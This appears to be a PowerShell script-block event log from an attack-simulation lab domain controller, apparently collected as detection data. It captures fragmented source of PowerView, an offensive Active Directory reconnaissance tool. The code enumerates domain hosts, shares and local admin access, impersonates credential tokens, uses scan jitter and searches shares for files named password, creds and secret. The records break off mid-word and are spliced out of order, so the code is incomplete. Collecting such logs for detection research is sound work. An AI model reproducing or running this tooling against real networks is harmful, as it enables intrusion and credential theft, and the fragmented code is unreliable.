if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainLocalGroupMember] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $GroupName, $Method, $TokenHandle)
# Add check if user defaults to/selects "Administrators"
if ($GroupName -eq "Administrators") {
$AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null)
$GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1]
}
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$NetLocalGroupMemberArguments = @{
'ComputerName' = $TargetComputer
'Method' = $Method
'GroupName' = $GroupName
}
Get-NetLocalGroupMember @NetLocalGroupMemberArguments
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken
}
}
else {
Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'GroupName' = $GroupName
'Method' = $Method
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
########################################################
#
# Domain trust functions below.
#
########################################################
function Get-DomainTrust {
<#
.SYNOPSIS
Return all domain trusts for the current domaine66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122640Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3944ssable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER SharePath
Specifies one or more specific share paths to search, in the form \\COMPUTER\Share
.PARAMETER ExcludedShares
Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-InterestingDomainShareFile
Finds 'interesting' files on the current domain.
.EXAMPLE
Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local')
Finds 'interesting' files on readable shares on the specified systems.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches interesting files in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
[ValidateNotNullOrEmpty()]
[ValidatePattern('\\\\')]
[Alias('Share')]
[String[]]
$SharePath,
[String[]]
$ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'),
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-InterestingDomainShareFile] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$SearchShares = @()
if ($TargetComputer.StartsWith('\\')) {
# if a share is passed as the server
$SearchShares += $TargetComputer
}
else {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# get the shares for this host and display what we find
$Shares = Get-NetShare -ComputerName $TargetComputer
ForEach ($Share in $Shares) {
$ShareName = $Share.Name
$Path = '\\'+$TargetComputer+'\'+$ShareName
# make sure we get a real share name back
if (($ShareName) -and ($ShareName.Trim() -ne '')) {
# skip this share if it's in the exclude list
if ($ExcludedShares -NotContains $ShareName) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
$SearchShares += $Path
}
catch {
Write-Verbose "[!] No access to $Path"
}
}
}
}
}
}
ForEach ($Share in $SearchShares) {
Write-Verbose "Searching share: $Share"
$SearchArgs = @{
'Path' = $Share
'Include' = $Include
}
if ($OfficeDocs) {
$SearchArgs['OfficeDocs'] = $OfficeDocs
}
if ($FreshEXEs) {
$SearchArgs['FreshEXEs'] = $FreshEXEs
}
if ($LastAccessTime) {
$SearchArgs['LastAccessTime'] = $LastAccessTime
}
if ($LastWriteTime) {
$SearchArgs['LastWriteTime'] = $LastWriteTime
}
if ($CreationTime) {
$SearchArgs['CreationTime'] = $CreationTime
}
if ($CheckWriteAccess) {
$SearchArgs['CheckWriteAccess'] = $CheckWriteAccess
}
Find-InterestingFile @SearchArgs
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken
}
}
else {
Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'Include' = $Include
'ExcludedShares' = $ExcludedShares
'OfficeDocs' = $OfficeDocs
'ExcludeHidden' = $ExcludeHidden
'FreshEXEs' = $FreshEXEs
'CheckWriteAccess' = $CheckWriteAccess
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-LocalAdminAccess {
<#
.SYNOPSIS
Finds machines on the local domain where the current user has local administrator access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and for each computer it checks if the current user
has local administrator access using Test-AdminAccess. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
Idea adapted from the local_admin_search_enum post module in Metasploit written by:
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-LocalAdminAccess
Finds machines in the current domain the current user has admin access to.
.EXAMPLE
Find-LocalAdminAccess -Domain dev.testlab.local
Finds machines in the dev.testlab.local domain the current user has admin access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-LocalAdminAccess -Domain testlab.local -Credential $Cred
Finds machines in the testlab.local domain that the user with the specified -Credential
has admin access to.
.OUTPUTS
String
Computer dnshostnames the current user has administrative access to.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[Se66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122639Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3844DAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shares on the domain. If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share. If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainShare
Find all domain shares in the current domain.
.EXAMPLE
Find-DomainShare -CheckShareAccess
Find all domain shares in the current domain that the current user has
read access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.ShareInfo
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ShareInfo')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[Alias('Domain')]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Alias('CheckAccess')]
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainShare] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainShare] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $CheckShareAccess, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# get the shares for this host and check what we find
$Shares = Get-NetShare -ComputerName $TargetComputer
ForEach ($Share in $Shares) {
$ShareName = $Share.Name
# $Remark = $Share.Remark
$Path = '\\'+$TargetComputer+'\'+$ShareName
if (($ShareName) -and ($ShareName.trim() -ne '')) {
# see if we want to check access to this share
if ($CheckShareAccess) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
$Share
}
catch {
Write-Verbose "Error accessing share path $Path : $_"
}
}
else {
$Share
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
